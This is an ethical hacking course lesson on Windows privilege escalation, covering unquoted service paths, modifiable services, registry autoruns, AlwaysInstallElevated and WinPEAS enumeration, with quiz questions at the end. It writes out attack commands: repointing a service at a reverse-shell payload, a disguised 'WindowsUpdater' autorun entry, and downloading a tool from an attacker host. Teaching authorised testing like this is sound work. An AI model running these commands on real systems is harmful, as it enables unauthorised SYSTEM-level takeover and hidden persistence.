Ethical Hacking Lesson 26 – Windows System Attacks | Dataplexa
System & Network Attacks · Lesson 26

Windows System Attacks

Windows dominates corporate environments. Understanding how privilege escalation works on Windows — through misconfigured services, registry weaknesses, and DLL loading behaviour — is essential for any pen tester working in enterprise settings.

Windows privilege escalation — the same logic, different terrain

The underlying principle from Linux carries over: find something running as a privileged user that a low-privilege user can influence. On Windows, privileged processes typically run as SYSTEM — the Windows equivalent of root — or as a high-privilege service account. The escalation paths are different but the logic is identical.

Windows adds its own complexity through the registry, the service control manager, DLL loading order, and the access control model. Each one creates opportunities for escalation when misconfigured — and misconfigurations in enterprise Windows environments are extremely common, particularly in organisations that have grown through acquisitions or rapid IT expansion without a hardening standard.

The five escalation categories on Windows

WINDOWS PRIVILEGE ESCALATION — categories and checks
Category What makes it exploitable Check command
Unquoted service paths Service binary path contains spaces and is not quoted. Windows tries multiple path interpretations, allowing a malicious binary in an earlier location to be executed as SYSTEM. wmic service get name,pathname
Weak service permissions Low-privilege users can modify a service's binary path or reconfigure it. Pointing the service at a malicious executable gives SYSTEM-level execution on next start. accesschk.exe -uwcqv *
DLL hijacking Applications search for DLLs in a predictable order. If an early search location is writable, placing a malicious DLL there causes the application to load it — inheriting its privilege level. Process Monitor (Sysinternals)
Registry autoruns Programs set to run at startup or login via registry keys. If a low-privilege user can write to these keys, they can inject a malicious executable that runs in a higher-privilege context on next boot. reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
AlwaysInstallElevated A Group Policy setting that allows MSI installers to run with SYSTEM privileges regardless of who installs them. Any user can install a crafted MSI and gain SYSTEM access. reg query HKLM\...\AlwaysInstallElevated

Unquoted service paths — the most common Windows misconfiguration

This is the misconfiguration that appears most consistently in Windows pen tests. When a service is installed with a binary path that contains spaces — like C:\Program Files\Vendor App\service.exe — and the path is not wrapped in quotes, Windows resolves the ambiguity by trying multiple interpretations of where the executable might be.

It tries C:\Program.exe first, then C:\Program Files\Vendor.exe, then C:\Program Files\Vendor App\service.exe. If a low-privilege user can write to C:\ or C:\Program Files\, they can place a malicious executable at one of those earlier locations. When the service starts — typically as SYSTEM — Windows finds and executes the malicious binary first.

The scenario: You have a low-privilege shell on a Windows server during an authorised internal engagement. You are enumerating privilege escalation opportunities and want to find any services with unquoted paths that include spaces.

# These commands run in a Windows Command Prompt or PowerShell session
# Active testing — run only within your authorised engagement scope

# List all services with their binary paths
# We are looking for paths that contain spaces AND are not wrapped in quotes
# wmic is the Windows Management Instrumentation command-line tool
wmic service get name,displayname,pathname,startmode

# Filter specifically for unquoted paths — pipes output through findstr
# This finds lines containing spaces in the path but missing the quote character
# The ^ negates the match — "has a backslash but not followed by a quote"
wmic service get name,pathname | findstr /i /v "C:\\Windows\\" | findstr /i /v """

# PowerShell alternative — more readable output
# Gets all services, filters for those whose PathName contains a space
# but is NOT enclosed in double quotes — the classic unquoted path pattern
Get-WmiObject -Class Win32_Service | Where-Object {
  $_.PathName -notmatch '^"' -and $_.PathName -match ' '
} | Select-Object Name, PathName, StartMode, StartName

Breaking it down:

C:\Program Files\Vulnerable App\bin\service.exe — unquoted, spaces present
Windows will attempt to execute C:\Program.exe and C:\Program Files\Vulnerable.exe before reaching the actual binary. The next step is checking whether the current user has write access to C:\ or C:\Program Files\ — if so, placing Program.exe or Vulnerable.exe at those locations gives SYSTEM execution when the service restarts.
StartName: LocalSystem
LocalSystem is the highest-privilege built-in Windows account — more powerful than any administrator account. Services running as LocalSystem have unrestricted access to the local system. When a service with an unquoted path runs as LocalSystem, successfully placing a binary in the search path results in SYSTEM-level code execution.

Checking service permissions with accesschk

Accesschk is a Sysinternals tool that shows what permissions a specific user or group has on Windows objects — files, registry keys, services, and processes. For privilege escalation, the key check is whether a low-privilege group like "Everyone" or "Authenticated Users" has modify or full control permissions on a service.

If a low-privilege user can reconfigure a service — changing its binary path or startup parameters — they can point it at any executable they choose. When the service restarts as SYSTEM, their chosen binary runs with full privileges.

# accesschk.exe checks permissions on Windows objects
# Download from Sysinternals — transfer to the target as part of engagement toolkit

# Check which services the current user (or Everyone group) can modify
# -u  suppress errors  -w  only show objects with write access
# -c  check services   -q  quiet mode  -v  verbose output
# *   check all services
accesschk.exe -uwcqv "Everyone" *
accesschk.exe -uwcqv "Authenticated Users" *

# Check specific service permissions in detail
# Replace VulnService with the service name found in the previous step
accesschk.exe -uwcqv VulnService

# If a service is modifiable — change its binary path to our payload
# sc config changes service configuration
# binpath= sets the path to the executable the service will run
# We point it at our payload — a reverse shell or command runner
# The space after binpath= is intentional — sc requires it
sc config VulnService binpath= "C:\Temp\payload.exe"

# Restart the service to trigger execution of the new binary as SYSTEM
# net stop / net start — stop then start the service
net stop VulnService
net start VulnService

Breaking it down:

SERVICE_ALL_ACCESS for Everyone
The "Everyone" group — which includes every account on the system including unauthenticated sessions — has full control over VulnService. This is as misconfigured as a service can be. Any user can stop it, start it, change its binary path, or delete it. This goes into the report as a critical finding: unauthenticated service modification leading to SYSTEM code execution.
NT AUTHORITY\SYSTEM
SYSTEM is the highest Windows privilege level — above even local administrator. Processes running as SYSTEM have unrestricted access to every local resource. Achieving SYSTEM from a low-privilege user account via a misconfigured service is the Windows equivalent of Linux root via SUID — complete system compromise without exploiting a software vulnerability.

Registry autoruns — persistence and escalation

The Windows registry contains keys that determine which programs run automatically at startup or login. If a low-privilege user can write to certain autorun registry keys — particularly those under HKLM (Local Machine) rather than HKCU (Current User) — they can inject a program that runs with elevated privileges at next boot.

HKLM autoruns execute before user login and often run under SYSTEM or a high-privilege service account. HKCU autoruns execute in the context of whoever logs in. Both are worth checking — HKCU for persistence under the current user, HKLM for potential privilege escalation.

# Query the common autorun registry locations
# HKLM keys run for all users — often with elevated privileges
# HKCU keys run only for the current user
# reg query reads a registry key and displays its values

# System-wide autoruns (HKLM) — higher-value target for escalation
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce

# Current user autoruns (HKCU) — useful for persistence
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

# Check whether the current user can write to the HKLM autorun key
# accesschk tests registry key permissions the same way it tests service permissions
accesschk.exe -uvwqk HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

# If writable — add an entry pointing to our payload
# reg add creates or modifies a registry value
# /v  the value name (our entry's identifier)
# /t  the data type — REG_SZ is a plain string
# /d  the data — the path to our payload executable
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run \
  /v "WindowsUpdater" \
  /t REG_SZ \
  /d "C:\Temp\payload.exe"

Breaking it down:

RW BUILTIN\Users — KEY_ALL_ACCESS on an HKLM key
The BUILTIN\Users group — which includes all standard domain and local users — has full write access to this system-wide autorun key. Any standard user can add a program here that runs at system startup. Depending on what context those autorun programs execute in, this can be a persistence mechanism or a privilege escalation path.
The "WindowsUpdater" entry name
In a real engagement, a descriptive innocuous-looking name blends with legitimate entries. That said — any entry added during a pen test must be removed when the test concludes and documented in the report with the exact registry key, value name, and removal timestamp. Never leave autorun entries on a client's system after an engagement ends.

Automated enumeration with WinPEAS

WinPEAS is the Windows counterpart of LinPEAS — the same author, the same philosophy, built for Windows. It checks every common privilege escalation path: unquoted paths, modifiable services, registry key permissions, AlwaysInstallElevated, stored credentials, scheduled tasks, and more. It colour-codes findings by exploitability.

Transfer it the same way as LinPEAS — host it on Kali with Python's HTTP server, download it with PowerShell's Invoke-WebRequest, and run it from a writable directory on the target.

# On Kali — download winPEAS and serve it over HTTP
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/winPEASany.exe

# Start a temporary HTTP server on Kali to deliver the file to the Windows target
python3 -m http.server 8000

# On the Windows target — download WinPEAS using PowerShell
# Replace 192.168.56.102 with your actual Kali IP
# Invoke-WebRequest downloads a file from a URL  -OutFile saves it to disk
powershell -c "Invoke-WebRequest http://192.168.56.102:8000/winPEASany.exe -OutFile C:\Temp\winpeas.exe"

# Run WinPEAS — output is colour-coded (red = high priority, yellow = medium)
# The output is long — pipe to more to page through it
C:\Temp\winpeas.exe | more

# Save output to a file for reference during the engagement
C:\Temp\winpeas.exe > C:\Temp\winpeas_output.txt

Breaking it down:

AlwaysInstallElevated: ENABLED
This Group Policy setting is particularly dangerous because it affects all users. When both the HKLM and HKCU keys are set to 1, any user can run an MSI installer with SYSTEM privileges. A malicious MSI — trivially created with msfvenom — installed by any standard user gives immediate SYSTEM access with no service restart required.
WinPEAS found everything the manual checks found
Same findings, same priority flags, surfaced automatically. The value of running WinPEAS after manual checks is catching anything the manual approach missed — scheduled tasks, stored credentials, token impersonation opportunities, and dozens of other checks that would take hours to run individually. Use both: manual to understand, automated to ensure coverage.

Four privilege escalation paths surfaced on a single Windows host — unquoted service path, modifiable service permissions, writable autorun registry key, and AlwaysInstallElevated. Each one independently reaches SYSTEM. Documenting all four in the report is important: the client needs to know that removing one escalation path still leaves three others open.

Teacher's Note: Always restore any services or registry keys you modify during escalation testing. Use sc config to revert service binary paths to their originals and reg delete to remove any autorun entries added. Document the original values before changing them so restoration is exact — screenshot or copy the original sc qc output before running sc config.

Practice questions

Scenario:

A pen tester finds a service with the binary path: C:\Program Files\Company Tools\monitor.exe — not wrapped in quotes, running as LocalSystem. They want to explain to a junior colleague exactly why this configuration is exploitable and what Windows does that creates the vulnerability. What is the explanation?


Scenario:

A pen tester has identified several Windows services during enumeration and wants to determine which ones can be modified by a low-privilege user — specifically checking whether the current user's group has write or full-control permissions on service objects. They need a Sysinternals tool that shows access permissions for Windows objects including services, registry keys, and files. Which tool do they use?


Scenario:

WinPEAS flags AlwaysInstallElevated as a potential privilege escalation path on a Windows target. A pen tester manually queries the registry and finds that HKCU\Software\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated is set to 1 — but HKLM\Software\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated is set to 0. Is this configuration exploitable?


Quiz

Scenario:

A pen tester modifies a misconfigured service to run their payload and achieves code execution. The sc qc output for the service shows StartName: LocalSystem. A junior colleague asks why this is more significant than achieving code execution as a standard administrator account. What makes LocalSystem the highest-value privilege level to achieve on a Windows system?

Scenario:

A pen tester successfully modifies a Windows service binary path using sc config to point at a payload, confirms SYSTEM execution, and documents the finding. The engagement is continuing and other hosts remain to be tested. Before moving on, what must the tester do to responsibly conclude this exploitation step?

Scenario:

WinPEAS surfaces four escalation paths on a single Windows host: an unquoted service path, a modifiable service, a writable HKLM autorun key, and AlwaysInstallElevated enabled. All four independently lead to SYSTEM. The client's remediation team argues they only need to fix one since all paths lead to the same outcome. What is the correct response?

Up Next · Lesson 27

Privilege Escalation

Pulling the Linux and Windows techniques together — a structured escalation methodology, LinPEAS and WinPEAS in depth, and building a complete escalation report section.